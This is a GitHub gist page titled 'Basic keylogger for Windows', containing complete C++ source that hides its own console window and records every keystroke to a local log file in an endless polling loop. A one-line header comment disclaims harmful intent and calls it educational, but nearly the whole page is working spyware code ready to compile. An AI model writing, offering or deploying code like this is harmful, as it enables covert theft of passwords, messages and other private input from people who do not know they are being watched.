Skip to content

Instantly share code, notes, and snippets.

@malwarebo
Created August 21, 2023 10:19
Show Gist options
  • Save malwarebo/87dcef6472319cd6c895c9f5f28363fa to your computer and use it in GitHub Desktop.
Save malwarebo/87dcef6472319cd6c895c9f5f28363fa to your computer and use it in GitHub Desktop.
Basic keylogger for Windows
/** This shouldn't be used to harm anyone. The intention is to have a basic idea of how these tools work. **/
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
int main()
{
Stealth(); // Hide console window
char key;
ofstream logfile;
logfile.open("keystrokes.txt", ios::app); // Open or create a log file
while (true)
{
Sleep(10); // Sleep for a short period to avoid excessive CPU usage
// Check if any key is pressed
for (int i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
key = static_cast<char>(i);
// Write the pressed key to the log file
logfile << key;
}
}
}
logfile.close();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment